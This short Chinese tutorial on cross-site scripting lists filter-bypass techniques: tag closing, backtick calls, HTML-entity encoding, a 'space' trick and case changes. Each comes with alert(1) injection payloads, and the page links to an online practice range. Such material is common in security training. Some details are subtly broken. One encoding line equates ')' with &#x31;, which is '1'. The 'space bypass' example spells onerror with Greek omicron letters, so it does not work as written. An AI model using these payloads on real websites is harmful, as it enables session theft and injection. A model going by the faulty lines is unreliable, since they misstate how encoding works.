简介

跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。------来自百度百科

xss技巧

  1. 闭合标签

当内容放在标签内,可以通过闭合标签来插入攻击代码。例如
<input type="name" value="xss"> --> <input type="name" value="'"><script>alert(1)</script>">
<textarea>xss</textarea> --> <textarea></textarea><script>alert(1)</script><textarea>

  1. 反单引号`

在js中可以使用 ` 来代替 () 。
alert(1)==alert`1`

  1. 编码绕过

为了防止xss攻击,会设置白名单过滤一些特殊字符,比如:<>/() ,可以使用编码绕过。
( == &#x28; ) == &#x31;
<img src="" onerror=alert(1)> == <img src="" onerror=alert&#x28;&#x31;&#x29;>

  1. 空格绕过

在html单标签中,如:img,a等。可以使用空格闭合标签。
<img src="" οnerrοr=alert(1)> == <img src="" οnerrοr=alert(1)空格

  1. 大小写绕过

html对大小写不敏感,js对大小写敏感。所以html标签可以通过大小写绕过。
<script> == <SCRIPT>

在线靶场

地址:https://xss.haozi.me/
题解:https://blog.csdn.net/dive668/article/details/116989886(网友博客)